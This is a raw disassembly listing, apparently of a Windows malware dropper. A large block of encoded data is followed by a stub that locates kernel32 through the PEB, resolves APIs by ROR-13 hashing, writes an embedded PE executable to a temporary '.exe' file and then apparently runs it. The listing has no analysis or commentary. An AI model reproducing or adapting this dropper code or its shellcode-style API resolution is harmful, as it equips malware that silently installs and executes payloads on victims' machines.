769F687Ah dd 5782B083h, 9E41827Bh, 1298C52Dh, 2E592CFFh, 0B20D987Fh dd 2DBE1770h, 0F49703D0h, 9645B00Bh, 5741DDDCh, 563214B7h dd 8A75E04Ch, 3EFD7992h, 0DFB478D3h, 0CE24587Ah, 0CC14387Bh dd 7A01E350h, 0D53DA8C3h, 9008BA5Eh, 2EBB54EEh, 791920B3h dd 0B27844A6h, 21718167h, 9AE4975Fh, 0D3212F0Fh, 0AF9D0863h dd 3EF9D602h, 77B8F90Bh, 0E6393A47h, 6DDBA2BBh, 526CE7F8h dd 0FA85508Dh, 0B7EB5860h, 0AE7C6803h, 1E813547h, 0AB54A83Fh dd 0D326AC3Fh, 32CD2D0Fh, 0EFE10026h, 0D175B01Bh, 4489161Bh dd 0D4415D5Ch, 7EA49437h, 62F81592h, 0A6395F17h, 0E7D16DECh dd 0EC7A2407h, 0A7ACED78h, 83699C6Fh, 6F38A56Ah, 0EC1348Ah dd 0DC1D15D4h, 0C61CEC3Fh, 73F6DCBCh, 0EEBA84E7h, 0E5657B57h dd 3F4CB3BFh, 641DC8FEh, 0BE5999B2h, 4ADF218Bh, 64938DB5h dd 24B9AD2Ch, 36D2E4C7h, 68819FC4h, 0A5A95CEEh, 0DF187D0Eh dd 8E6BB417h, 0BF2A13B9h, 0C6191ABBh, 370258F6h, 6EF144D5h dd 0C7238D16h, 9EB8FC0Fh, 9D27F4CBh, 3E357C08h, 0A12BE04Bh dd 28D45F9h, 0CA7887C7h, 311E4F2h, 7A5844C6h, 9EE8ADAFh dd 7DC2525Eh, 0CE65B09Ch, 619DE06Ah, 471D48BBh, 0B646D0D3h dd 0C6E10C43h, 9AE570DEh, 0AE7F922Ah, 0B7625F63h, 7EA161E3h dd 0C396488h, 6B590A18h, 0D23039C6h, 26D10E07h, 0FA85109Ah dd 23D68F3Dh, 42BD5E13h, 0AA5485Ah, 0F2C03F3Ch, 80D9EC0Ah dd 728720F7h, 0B921C4CDh, 4AB04F48h, 15893CF9h, 40E04545h dd 0D421D46Ah, 0AF908CBh, 0F56E4C9Fh, 0E47D6DECh, 2AC2407h dd 0CFC550FBh, 0B8DC1162h, 8FBD6875h, 1EF9391Ah, 80DBAB2Bh dd 55CFBD7Fh, 44C1CD4Ch, 56B284A7h, 8B4A8E5Bh, 0E344C204h dd 0A25DBEADh, 5093D987h, 0A2D530FEh, 99067627h, 0F1BA4AB2h dd 0CF26698Eh, 0B58E7AD0h, 8B2492C4h, 0C23DDECDh, 698610A4h dd 0D586F900h, 866F2C2Ah, 0C5B01873h, 6FF10432h, 0EACD1AEFh dd 6909FC3Ah, 22E8F4B6h, 731C94F7h, 8A75A073h, 0A37EDD6Bh dd 52AD65FAh, 8E11A4C7h, 20855BDh, 9FE91CEFh, 7DC25695h dd 0CBC171D0h, 6A9500EBh, 4444ECFFh, 0F840D837h, 41DF2428h dd 0F5C51EB4h, 0BF259C69h, 2BC6D05h, 179574F8h, 0BE15C566h dd 831A2C30h, 0E04FDD3Fh, 6FB41066h, 0DAA51AB6h, 0F909FC4Fh dd 2F881B23h, 3EF351BAh, 0CE27A10Ch, 4BF8C25Ah, 5EE84AF9h dd 8205AAC2h, 3656C37Eh, 77E15CB6h, 0C224B8D3h, 9E45FA16h dd 6F8518AEh, 0C85838FCh, 0A14DD467h, 6AFF4533h, 80A23E92h dd 0FC64B10Fh, 61C94914h, 39AF1DFFh, 8679E10Bh, 7FF8885Fh dd 16A33993h, 0C958EAC7h, 3A498433h, 76BB53E9h, 0C774FA85h dd 0DE12B059h, 2BC200C2h, 6BC3F8B6h, 77C56FD9h, 0AF7181F5h dd 325F549h, 16852980h, 0A7149AE5h, 0A172D039h, 47BA03CBh dd 8F790DDAh, 0C164B807h, 3983007h, 938511FEh, 0B67ADB3Bh dd 7A9294Fh, 17AB19D6h, 6765465Fh, 6EF61866h, 41AD4FC1h dd 6B0102D3h, 6D626181h, 72D3B7F6h, 0E80D6F47h, 47219AEEh dd 0A24E8520h, 0C18AE6CEh, 8C2F419Eh, 72AB77A6h, 0C8271C17h dd 589104BCh, 22721E7Bh, 7EE154B7h, 0CA35A00Bh, 0E6790C5Fh dd 922DB853h, 4ED16407h, 0FA8510BBh, 0B629DC6Fh, 42FD6803h dd 1E8134D7h, 0AA55C06Bh, 46D9AC3Fh, 328D18F3h, 0EE71C4A7h dd 5A25B01Bh, 16897CCFh, 0E25DC8A3h, 0DE219477h, 3353C548h dd 25394CDFh, 925452B6h, 0B99E2447h, 0E94844B8h, 0BDDE9337h dd 896D2B45h, 75E550D3h, 0F3678C69h, 7591AE44h, 668FD3A7h dd 273DC6CCh, 5A5C56CEh, 0FC4CB58Fh, 491DC8DAh, 0D6A35732h dd 88D4F969h, 0E3718CDBh, 12ED1A24h, 0CE51806Fh, 7A1AF83Bh dd 0B3245CEFh, 0C23DCAA7h, 0EA198D0Eh, 2E15C3E7h, 43A6DB5Dh dd 0B24DA1FDh, 6D28B3E4h, 9A87C716h, 69191F4Fh, 6252B453h dd 0DCA5FC74h, 0AEE869BDh, 0A5B98C3Dh, 579978A9h, 0FC1296ECh dd 0C60B5D6Bh, 0F5B747F7h, 8649A8F9h, 0DDAAC6E8h, 82857254h dd 79E693A8h, 7F661618h, 2EF13DCDh, 0AEAE7383h, 44CC33CCh dd 0E59D485Ah, 3ED8DA32h, 0CA35A00Bh, 0E645E45Fh, 17A6B853h dd 4E915D89h, 5726553h, 0B6313490h, 0FF7E6803h, 1EC10D59h dd 235DB56Bh, 6FB0CA2h, 0CD11F3F3h, 0AE484A2Ah, 0DFAA731Bh dd 16C9455Dh, 0DBD35D2Ah, 0BDC99437h, 39F560CBh, 35B28F56h dd 0D26DF893h, 0F07CCC15h, 2FC6AF04h, 0F629A585h, 783EFE40h dd 0DACE749Bh, 0EA15812Ch, 68996FCh, 7230DCBCh, 0ECBA84E7h dd 0D28DA057h, 5536C371h, 0E2242266h, 0AEA7D737h, 0B3352801h dd 0E6E0F8DFh, 11D9162Ah, 45A00FC7h, 9B849173h, 0E9768330h dd 8E391102h, 7274B41Bh, 0A91D6BB2h, 4956D646h, 0B20D98C4h dd 9089C541h, 5FAA02A8h, 9609FCE4h, 62E7CB75h, 742A1182h dd 1770B5Bh, 7748CF15h, 0AD130A7Bh, 24A4A738h, 97459042h dd 8D91DC2Ah, 82B92CCCh, 6BBEF417h, 6AD53901h, 784C84AFh dd 774E27CCh, 2EF13DCDh, 0A34FF554h, 0D24ABC4Fh, 0E21E5B47h dd 713A67B5h, 0D8D6A8BDh, 0B559C5DFh, 96099C92h, 67F5782Eh dd 0BADE34B7h, 4DA83584h, 9F46BF0Ch, 0E5000AA3h, 713B85C3h dd 0BD589A4Bh, 0CD2C23AAh, 15F0EAD3h, 0F69092CDh, 0ED085ABBh dd 11052130h, 45A08A03h, 0F9AD89B6h, 5DB85AEBh, 3348C755h dd 0F5102A33h, 5BE06FCBh, 63969A5Bh, 2FD11D1h, 0A1B09DCCh dd 694B7FD4h, 0E970F8BDh, 0B132A74Dh, 0F635EEE5h, 0E593E5B3h dd 875CB470h, 0C41DC8C7h, 0FC79E58Fh, 4951E069h, 0CD9F6EDDh dd 0FAF53EB9h, 31AE117Dh, 0FD0D52B8h, 6EAC363Eh, 3D88056Bh dd 9DFB34A8h, 7A654B98h, 0E288A9BDh, 59A79833h, 36992E00h dd 0D95FB031h, 87B9E43Ah, 9D2885CBh, 3EA0AC08h, 58F1E04Bh dd 0C668C16Bh, 0A406B26Dh, 8EA9A12Ch, 91C5D07Bh, 0FB2AA34Dh dd 0C209947Eh, 0EFC40317h, 6A95409Fh, 0F2996CFFh, 582D6830h dd 1A808190h, 9AE6709Bh, 5246BD0Fh, 229D0895h, 926A010Fh dd 439E0BE3h, 0A6409AE2h, 38C50853h, 7F5493ACh, 0FA85508Fh dd 3F28DC6Fh, 2C4F2BEh, 0E9CA40D7h, 0EA61F1EEh, 46D9AC3Fh dd 56EAA0F1h, 0EB04F258h, 0D141D7A3h, 0AEEFD7E1h, 493BC8A3h dd 0E3919703h, 3B709761h, 0A6390CABh, 6A65F813h, 0E9949CAh dd 3F32468Eh, 0F629A81Eh, 6BD2843h, 5604F72Fh, 5210F42Bh dd 66101FCh, 0F73A1718h, 0AE71B0D6h, 1A65F058h, 0BF7938FBh dd 27962349h, 0FE21EDA1h, 829EEF00h, 9105C456h, 52990956h dd 0CE51E787h, 0C25AE43Bh, 563888h, 0FBE3550Ah, 26AAB417h dd 4EB240EBh, 0E0D09414h, 5AA69873h, 910EBA9Ah, 154D102Bh dd 75F603B3h, 9D652E1Ah, 0AF0A72E2h, 0BBE06BE0h, 0D1B98C2Bh dd 512F8F41h, 0FB11A4C7h, 0C4D2386Fh, 6959E350h, 7DC1012Bh dd 21F992E8h, 0FB3E66BEh, 0DD6E754h, 0B27446B6h, 0A7792F67h dd 1F128C93h, 0D609883Eh, 229D0867h, 575946C3h, 61FD5ECBh dd 92B904E7h, 0E7951357h, 0E5B68FFFh, 0CEB4954Ch, 0B621DC2Fh dd 8886803h, 2AAE8957h, 0DE55C02Bh, 5EF0147Eh, 9787D1DAh dd 0EE31F08Ch, 502654DBh, 56BD576Ah, 53ED63A3h, 91A41EDDh dd 0A0F520FFh, 23330C2Fh, 0D22DCC38h, 0EC2942EDh, 8B40A706h dd 0E669DC1Bh, 76BD2843h, 0F488C490h, 1660384Dh, 0EE294719h dd 0D90D6B19h, 97B3396Eh dd 9F92F01Bh, 568908BEh, 0A21D88C3h, 0A6D1DD42h, 7E9CA581h dd 538C9Fh, 0E56DB96Bh, 8E65D502h, 7A05D03Bh, 0B6AA28EFh dd 6777C047h, 9E41807Eh, 975CEB8Dh, 0C6191539h, 83886FD8h dd 6EF10413h, 0AFE5309Bh, 94594C46h, 22E961A6h, 0BB56BEF7h dd 8A35D47Ah, 26B9CC9Fh, 0EA5D73E6h, 0BA3B21CDh, 0D1EFD03Bh dd 47517A92h, 0B3B85FDBh, 0DE41B423h, 1E9500AAh, 8C30DCFDh dd 0B279F296h, 2D55C467h, 0AECFD5D1h, 7D2FBC4Fh, 0D21CB005h dd 4AD0D140h, 0C835A04Bh, 0E40C0C5Fh, 372770E7h, 4E91502Dh dd 470CBBDDh, 0B669E5CDh, 42D954BBh, 9B769FD7h, 0AA15F45Ah dd 46D9AC37h, 0B77A7487h, 0EE31F096h, 5A25B41Bh, 0AE3977BAh dd 0D6764DA9h, 558B9437h, 3B709786h, 0A6390CABh, 0A76DF81Bh dd 8D294256h, 91605A1Bh, 9069DC1Bh, 0A87D1BE8h, 0E6A7617Ch dd 4F1F9802h, 6D9D854h, 78CEBC73h, 0EE05AF42h, 0EDCE965Bh dd 16FD0D0Ah, 0A20D88E3h, 7FD9B237h, 0CAB6544Bh, 0C3F3841Bh dd 12ED0CF8h, 785E4FE1h, 3A31BFBEh, 0B35EF7EFh, 0C23DDCB2h dd 0DE01B457h, 7A65499Fh, 0F270A9BDh, 45A79833h, 2EC575A2h dd 0DA85309Bh, 0E38F4C4Fh, 0EFD94C21h, 9B2BEAB8h, 8A35D462h dd 1F334196h, 0F98B78D3h, 0FB145847h, 0BA45607Ch, 0DCA9E3E0h dd 0B60C2D34h, 9E41F457h, 0D2F300ABh, 846C5D99h, 592BF187h dd 0ABBB1CD7h, 9AA544F0h, 7C4A5CCFh, 0A76A80D3h, 7EA16086h dd 0CA35200Bh, 60C90E2Ah, 0A6041DD9h, 0E5B76447h, 8F80EC3Bh dd 36296C68h, 0E8BD974Ch, 2AB0B120h, 0AA55C02Bh, 4DACAC3Eh dd 0B7875843h, 0EE31F08Eh, 3C2A5BB1h, 1C49FF77h, 0A269E106h dd 0E8AF277h, 8F02CACAh, 0A67978AEh, 0D26FF813h, 8B660B32h dd 0BA8564CAh, 0F66D9C2Fh, 0C20D3236h, 6AEAF19Dh, 4F9F806Bh dd 6D9D84Fh, 14DDB872h, 5B0E25Fh, 128EF0EBh, 0D3C37C3Fh dd 0A25DBCC8h, 0CFE4239Dh, 4AB560BFh, 13F984DFh, 91155EC3h dd 0E4F4EE6Fh, 1C05D00Fh, 0DDA8EC44h, 0C835588Bh, 0DE359ED2h dd 0AF22EAEBh, 0C619188Eh, 0B21D9873h, 4B843196h, 222688FDh dd 0A2235945h, 0C9BB4863h, 170BD4C4h, 0CA4C6AF6h, 173C3B1Fh dd 52ED38A7h, 0FB1184C7h, 0D1326164h, 7F517AB4h, 0A898A2DBh dd 1E41B423h, 0CF9F034Fh, 865958D5h, 4F647355h, 2EF13DEDh dd 3F6FB151h, 0D6098585h, 7A2DA305h, 4AC8D1B5h, 3D9FA04Bh dd 0A64D3DDAh, 922DBB53h, 0C9556B06h, 428510BBh, 90A2B808h dd 76CCE588h, 0EF003497h, 0A855C06Bh, 46D96DC8h, 37F81BF3h dd 6915A31Fh, 5A9D1B35h, 70897CCFh, 845BBD08h, 0D8C41FCFh dd 6D91D860h, 95924A10h, 25C69ED3h, 4EA515C2h, 0BAC550FBh dd 129E92Eh, 428919C6h, 5EC17497h, 8C33F423h, 0F1F561C7h dd 32F96936h, 0AE3184E7h, 0DBF0FF59h, 0FDAFDD85h, 0AA684167h dd 0FA456C51h, 595E8BEDh, 8D53846Fh, 4A155EDDh, 0E5D4E6DAh dd 1C05D00Fh, 86AAB744h, 478A424Ah, 9E418066h, 0AAD540EBh dd 0C1E90CCBh, 86241D59h, 8E304467h, 0D22C3D81h, 330BFC6Bh dd 629D7C0Ah, 0BEA2F037h, 3ADEE48Fh, 9EDF667Eh, 0F7E7986Ch dd 8E5190EEh, 0BFB27B1Dh, 76A9289Eh, 823DA8E3h, 5BB6A763h dd 6AD5349Ah, 0A6196CFFh, 35BAD547h, 2EB10464h, 0A5575AFh dd 5DBA57A5h, 0A01083A4h, 55E1148Eh, 367429CAh, 637354EFh dd 926D8C7Ah, 7F5493ADh, 0FA85508Fh, 0C2299C6Fh, 12450E0Fh dd 37043E14h, 4155805Fh, 0B961CA35h, 1B281213h, 88718493h dd 6BA047B0h, 15893CFBh, 965CC8A3h, 8FA46304h, 0AF520FFh dd 0D2194C9Fh, 0D1AA0F1Eh, 7A912447h, 1055E0FEh, 39E26FC4h dd 3B27ADC8h, 96EA74D7h, 0D9E9C8A2h, 371C1BB6h, 72CD1887h dd 0DB3104E7h, 33E07D55h, 0DCC97CBBh, 5B9DC8EBh, 7399A734h dd 6EF1ED8Fh, 86388CCFh, 0B92688DBh, 7637E264h, 0D163500Ah dd 0B626E489h, 0C27D50EBh, 0F8E0B657h, 0AF7E1840h, 0A05F5976h dd 0D4CDA9CBh, 0C432F48Ch, 0EE99B516h, 13FEFC0Fh, 629D7C12h dd 2EA114F7h, 0A122E63Eh, 3F5294E7h, 79C52B18h, 5C18F3Fh dd 7A7C72F6h, 0F47C1DAFh, 833DE8FAh, 0FA057F2Eh, 72889AFh dd 0D192CEFh, 0B2745E8Eh, 0AC342F67h, 6DE530E2h, 967D8D8Ah dd 229D4863h, 89E320B7h, 0CEF70BD3h, 652E5A5Fh, 0D21416EEh dd 0CADE6407h, 0FA851162h, 0B629D187h, 10B82303h, 2DCD7199h dd 0E611EE59h, 0D326AC73h, 32CD2D7Bh, 0D7CF412Eh, 0D176B05Bh dd 0CE8A4097h, 6975BB5Ch, 42C9A034h, 810A9F3Dh, 0E600EA0Ah dd 906EA313h, 0CC14AD4Bh, 0B9C510C2h, 73E0946Dh, 2FD1185h dd 0A1E9071Ch, 0EA150098h, 0F04C047Fh, 0CF46A74Ch, 0AE71BD41h dd 0ECAC180Dh, 0C342C370h, 0A25DB145h, 0FD699EBCh, 849E2CC1h dd 69FC655Ch, 12AC585Bh, 94D5EB87h, 7905903Ah, 7690F65Ah dd 0B0C8EB83h, 3201F46Eh, 0AFDAA8D7h, 0C6592C1Dh, 9909DEFEh dd 2EC836A2h, 8AA3339Bh, 69FF7AA7h, 0C460CBDCh, 3EA154CEh dd 0CD4EEB3Eh, 3D3AC313h, 0B9ED7892h, 28849DCBh, 35459042h dd 76E8112Ah, 0F0B8ABC3h, 0B841B42Eh, 4F6A382Ah, 86E5E9F0h dd 0B2C6D833h, 1AF22F65h, 6CAC988Bh, 6B7043F0h, 22DD31C5h dd 7E05D1B8h, 4F36A00Bh, 0E63935F5h, 0AB5F3D50h, 4E5A6447h dd 0F5895790h, 0B62911EDh, 4ABA5303h, 1E45B7D8h, 6AD6C06Bh dd 529EAF3Dh, 0BFF9DF0h, 0BE23C4E7h, 639B05E4h, 83767C8Fh dd 0E21DFDEBh, 0B1E1112Dh, 0AF5D74Eh, 0A6A5A59Fh, 2D51F813h dd 0E05A148h, 844550FBh, 7DEC933Ah, 89BD2843h, 1DEA75D1h dd 32FDD01Fh, 3F66138Ah, 32F4FE0Eh, 0AD46F1E7h, 5A5C5ADEh dd 244C3F8Fh, 2B1DC8DAh, 0BE581EB2h, 71B5AB8Bh, 26C04E5Ah dd 29A54AD3h, 8E682202h, 476CE23Bh, 46A95CEFh, 0DD95DFF1h dd 1301B457h, 0EB5EBCA5h, 845A2E94h, 7888A363h, 1BF1041Eh dd 0CA61B397h, 0D286CDB0h, 89BC5407h, 0BB2ED7ECh, 8A35D9D9h dd 540C477Fh, 0BAED38AAh, 71EE52B1h, 3A45791Ah, 789C9CAFh dd 0F031EFE8h, 0D606CF1Eh, 95A982A4h, 89509300h, 0DB36AB6h dd 0A8D8F98h, 0BED4D75Ah, 29B6BC0Fh, 1E76779Ch, 1EC51E36h dd 84D5A00Bh, 0EAF2CC6Ch, 3CA83F77h, 0C3D1243Eh, 0FAA12502h dd 0C4ACDF6Fh, 24FD283Ah, 35CF9172h, 0BE17C3ADh, 80D5EE14h dd 0F565E3B5h, 0EE719626h, 5A25B51Bh, 0EACFF5CFh, 6F9E96FCh dd 0FE19DAC2h, 9F0A36CBh, 0A67979E3h, 0DD920090h, 0E919FC3h dd 0E840D9FBh, 9C69DC16h, 97427E43h, 5E814123h, 6E1A40AEh dd 699ECDBh, 229D9898h, 0C461878Dh, 1A65985Ah, 0A99FFC8Fh dd 0E228D476h, 1995737h, 4F8BA484h, 0E3708CDFh, 12ED0185h dd 0F70B690Ah, 0EF88907Bh, 36E9658Dh, 0C217BAD2h, 1A944B07h dd 0A9D500DEh, 4256D347h, 0B20D9D7Fh, 0DB0E444Dh, 0DAE509CDh dd 0A38969B0h, 9A5E4863h, 0CB251B08h, 375E04Fh, 6680A69Ah dd 51244B93h, 0DF41F504h, 0C514D411h, 36D04A1Ah, 0E2A857C3h dd 5B41B422h, 0BB110F6Bh, 0B5196CFBh, 9CC851FAh, 7FB1445Eh dd 858D218Ah, 8649B30Fh, 173D9D9Ch, 0BE6454F7h, 0CEBF2404h dd 63F00C5Fh, 926D8121h, 271CDCC4h, 0B10E10BBh, 87AC2B57h dd 42FD2837h, 6B9134D7h, 0C7D0C36Dh, 75D9EC2Fh, 0C54C1B21h dd 67903356h, 1A1CCA9Eh, 32B2C4CFh, 0A9D6C8A3h, 0D3A4974Bh dd 39F520DBh, 51F84F4Dh, 5B8C0FE2h, 4EA852C2h, 0DCA93FBh dd 15909A64h, 1AEEA576h, 4A82C398h, 815C5028h, 0D69AC4BEh dd 5926232h, 0DAC8EA8Eh dd 161F7346h, 0DD294E8Eh, 0E096B4A8h, 0EE23D723h, 0B5FD6406h dd 0A7DA5528h, 2BC7BDE8h, 4592E4C7h, 4915B46Fh, 8E2BD32Fh dd 17DE883h, 95EA7BDCh, 129BFD66h, 4DA52CFFh, 1EC4ABACh dd 6883251Bh, 0D8D24AA7h, 0AAA3DC63h, 5E313C7Fh, 27C60D9h dd 699D954Bh, 1BB847D6h, 52A820D6h, 0DD2CAFB3h, 35458238h dd 89162F2Ah, 0BF3E233Ch, 9D0FBD40h, 95B384A4h, 0D1249300h dd 0FD038D70h, 0D14E1FE3h, 0D9B24D24h, 52468E3Ch, 0DD62F773h dd 2AB2048Ah, 0CFB1AF44h, 0D586F3A0h, 6C005088h, 0CADE9BF8h dd 57AEE43h, 0A0C10E5Ch, 0AAFD6803h, 0E17ECBB8h, 0AA55C083h dd 0AB58F13Fh, 32CD3779h, 0EE72F94Eh, 68DAD41Bh, 2FFBC944h dd 6B39C8E3h, 80A0F255h, 8FFA3A86h, 0A6394FB9h, 0D151A698h dd 35104299h, 3FCA15ABh, 0F6699F39h, 2AB6BB4h, 51C174B7h dd 0EA1689AEh, 5ADA1A7Fh, 5283D3B1h, 0ACCD00E8h, 1686F05Bh dd 57C8C50Eh, 241288E3h, 0FE61D6D9h, 0B54BED63h, 857B8320h dd 99AD38D1h, 8452F4CDh, 7A052837h, 0DEF85CEEh, 3D82026Dh dd 0AA2E2167h, 0A6440ABh, 0F269998Fh, 92679833h, 16A98DD9h dd 3071D88Fh, 448C03B0h, 0B11FDC2Ch, 0F342515h, 6175A07Fh dd 26BFA4FAh, 3AB47893h, 8E11A4C1h, 0D0F13823h, 0F363E350h dd 827D9CEAh, 0F76B7091h, 0E295409Fh, 0C62D457Ah, 5AD3A33h dd 6E8535E2h, 9AE578DBh, 5640C90Fh, 62A923DEh, 0BB9555B7h dd 0FE0425FCh, 0E67A0C1Fh, 8959B953h, 7AF8D987h, 8E8010FBh dd 9C945CDFh, 47FD2837h, 0A30193A3h, 0AA15F440h, 0B147D83Ah dd 72B92976h, 0EE71C4A7h, 0DA2CC49Bh, 56BD5572h, 6B2ACAA3h dd 878F31F4h, 0E2F5608Bh, 59C6B810h, 2D9038FBh, 0CB4CCB8h dd 274E50FBh, 0F629A559h, 0FD41F6ABh, 55457B68h, 61158029h dd 46A09ECAh, 4E93D3B3h, 71D95AE4h, 159A0FA6h, 56C8C90Dh dd 865709E3h, 1E61D457h, 1CE7DE00h, 65EDF6DCh, 975A28A9h dd 0CE11D0B6h, 6A05903Bh, 8324529Ah, 0C23DDCBFh, 8E6C39DCh dd 8E2640ABh, 0CF5695E8h, 7809873h, 6EB15427h, 0DA149568h dd 32FAFEACh, 56ECCDD4h, 3EA114B7h, 0E7AF04Bh, 26B9CCB7h dd 0BAC50B6Ch, 71EE55A8h, 3E345F0h, 0A46C1CEFh, 82AF2CCCh dd 6BCAF417h, 6AD539D9h, 7092674h, 0F22DFC79h, 649AE467h dd 0A9E703D3h, 0C23BBFC6h, 32F08558h, 0F36A54F7h, 0CA75B066h dd 0DAF25A2Dh, 0FF883B77h, 4ED12417h, 0FAE8B738h, 3D29DC6Fh dd 8FC6079h, 997637DFh, 2CD04B9Ch, 0B1D9EC06h, 72B92976h dd 0EE7184A7h, 0AD27C41Bh, 1AFB7FD7h, 57D4F88Ah, 0BE61ADD9h dd 0BDD1340h, 97BCBBAFh, 926DB827h, 7A912447h, 0EBDDA7F9h dd 99528C7h, 0E5671BCh, 75E90794h, 0BC448C59h, 5FC6488Ch dd 46F1ED3Eh, 0AC284A7h, 2B6AAE04h, 844EB11Dh, 981D88E2h dd 0BE55FBA2h, 23B3558Bh, 52AFF40Dh, 0EDFDB0C1h, 318E286Fh dd 308ECAC4h, 26E35FE3h, 0F64C6D74h, 9E01B417h, 6B5850EBh dd 4F4A59B9h, 0F23436FEh, 3744727h, 59A5708Bh, 960991E8h dd 21F64823h, 4014EBDFh, 375A072h, 26B99E98h, 72ABF793h dd 0BA202130h, 3A45D03Bh, 719D9CAFh, 7B1A4091h, 551B0BE8h dd 2AACAE26h, 0F1A8FFFh, 0B8C6F078h, 58348F77h, 0A3E530E2h dd 0D53AB445h, 239542EAh, 1D6244F5h, 4FBEA053h, 0E6393525h dd 9209843Bh, 46936507h, 0AAC611E2h, 820649E5h, 0C70A6843h dd 1EC100E6h, 0BA55C06Bh, 0CBDAAA4Bh, 32CD089Eh, 6B86C411h dd 5A65842Ah, 168B7CCFh, 24A3DCD6h, 8A101180h, 0AF5608Bh dd 0A04C4C9Bh, 0E65D4D99h, 8B662407h, 0BA8564CAh, 0F669DC2Fh dd 5372336h, 5C6BB695h, 1E262FDh, 349E6676h, 0A4CFF271h dd 7C027305h, 7E477B3Fh, 0D5913E00h, 0E224DE5Eh, 7A6ED437h dd 0B54ADB03h, 5F8B3920h, 87523893h, 0CE11D143h, 436B25C4h dd 0A3565CAFh, 0C23DDDBFh, 0A75B39DAh, 0BF5840ABh, 0C61915DDh dd 0B267CA22h, 57A7F1D8h, 4F5A30DBh, 9649C9F7h, 5B8BFDDCh dd 0AB5E14B7h, 8A35D577h, 1EF77992h, 0E71278D3h, 8E519D95h dd 8ED02F2Dh, 0F5E95C9Ah, 0C204FE66h, 3682F417h, 6A9500ABh dd 71806A2h, 0B27E91DEh, 21415C67h, 8F65F51Ah, 16CCBC4Fh dd 0DD558BA0h, 0FB205B47h, 0CA75B58Bh, 0E669319Ch, 8E58B879h dd 6AADE561h, 8FF47CB7h, 72C1BC7Ch, 370297FCh, 0E5FFDCD2h dd 78BD3F94h, 272653C0h, 4AA0E7DDh, 5663F0F1h, 5A25B03Eh dd 0E92C94AFh, 0DB28375Ch, 8E05D0FCh, 32BBD546h, 0F6B24CDFh dd 0E8EC9E1Bh, 2BE22641h, 0BAC538ADh, 32E29CD0h, 52EF2829h dd 6B39E168h, 2E96806Bh, 5AA76D77h, 791678Ch, 0AAF707E4h dd 0E59EDBB3h, 0A9B6D470h, 617C771Ch, 0FE61A08Fh, 0F204CB8Bh dd 66F98CF0h, 12AD283Bh, 0CE712687h, 7A05A083h, 36AAB4EFh dd 0E6BFE883h, 0BA553957h, 0A9FB8DE7h, 0DF252C47h, 0B20D7013h dd 3A7A4427h, 51F800BFh, 85E47D55h, 8ADD0817h, 0C15EF1CEh dd 8A71222Ah, 21BBCA1Eh, 22FB7B96h, 0C0A53D34h, 5EF959B4h dd 0C1500Dh, 168Fh dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc far push (offset loc_42F0A4+1) call sub_43702C retf 835Dh start endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7Ch, 0FFh, 8 dd 136D7C86h, 19827C86h, 8AE77C82h, 4E647C83h, 65A57C83h dd 7C83h, 7E0000h ; =============== S U B R O U T I N E ======================================= sub_43702C proc near ; CODE XREF: start+5p call sub_4370B9 pop eax pusha lea ebp, [eax-0Ah] call sub_4370A4 sub esp, 400h mov esi, esp push esi push 200h call dword ptr [ebp+0Ah] push esi push 0 lea eax, [ebp+2Ah] push eax push esi call dword ptr [ebp+0Eh] mov edi, esi xor eax, eax mov cl, 0FFh repne scasb mov dword ptr [edi-1], 6578652Eh mov [edi+3], al push 1001h lea eax, [esi+200h] mov byte ptr [eax], 87h push eax push esi call dword ptr [ebp+16h] mov edi, eax push dword ptr [ebp+131h] lea eax, [ebp+135h] push eax push edi call dword ptr [ebp+1Ah] push edi call dword ptr [ebp+1Eh] push 0 push esi call dword ptr [ebp+12h] add esp, 400h popa retn sub_43702C endp ; =============== S U B R O U T I N E ======================================= sub_4370A4 proc near ; CODE XREF: sub_43702C+Ap pusha mov edi, eax loc_4370A7: ; CODE XREF: sub_4370A4+11j mov eax, [edi] test eax, eax jz short loc_4370B7 push ebx push eax call sub_4370DD stosd jmp short loc_4370A7 ; --------------------------------------------------------------------------- loc_4370B7: ; CODE XREF: sub_4370A4+7j popa retn sub_4370A4 endp ; =============== S U B R O U T I N E ======================================= sub_4370B9 proc near ; CODE XREF: sub_43702Cp push ebp mov eax, large fs:30h test eax, eax js short loc_4370D0 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp short loc_4370D9 ; --------------------------------------------------------------------------- loc_4370D0: ; CODE XREF: sub_4370B9+9j mov eax, [eax+34h] mov ebp, [eax+0B8h] loc_4370D9: ; CODE XREF: sub_4370B9+15j mov ebx, ebp pop ebp retn sub_4370B9 endp ; =============== S U B R O U T I N E ======================================= sub_4370DD proc near ; CODE XREF: sub_4370A4+Bp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4370F3: ; CODE XREF: sub_4370DD+33j jecxz short loc_437127 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_4370FE: ; CODE XREF: sub_4370DD+2Dj xor eax, eax lodsb cmp al, ah jz short loc_43710C ror edi, 0Dh add edi, eax jmp short loc_4370FE ; --------------------------------------------------------------------------- loc_43710C: ; CODE XREF: sub_4370DD+26j cmp edi, [esp+20h+arg_0] jnz short loc_4370F3 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_437129 ; --------------------------------------------------------------------------- loc_437127: ; CODE XREF: sub_4370DD:loc_4370F3j xor eax, eax loc_437129: ; CODE XREF: sub_4370DD+48j mov [esp+20h+var_4], eax popa retn 8 sub_4370DD endp ; --------------------------------------------------------------------------- align 2 dw 0D0h dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 0 dd 5100h, 6 dup(0) dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh dd 3 dup(0) dd 455000h, 3014C00h, 1E138600h, 43h, 0 dd 0F00E000h, 7010B01h, 0Ah, 0A60000h, 4C0000h, 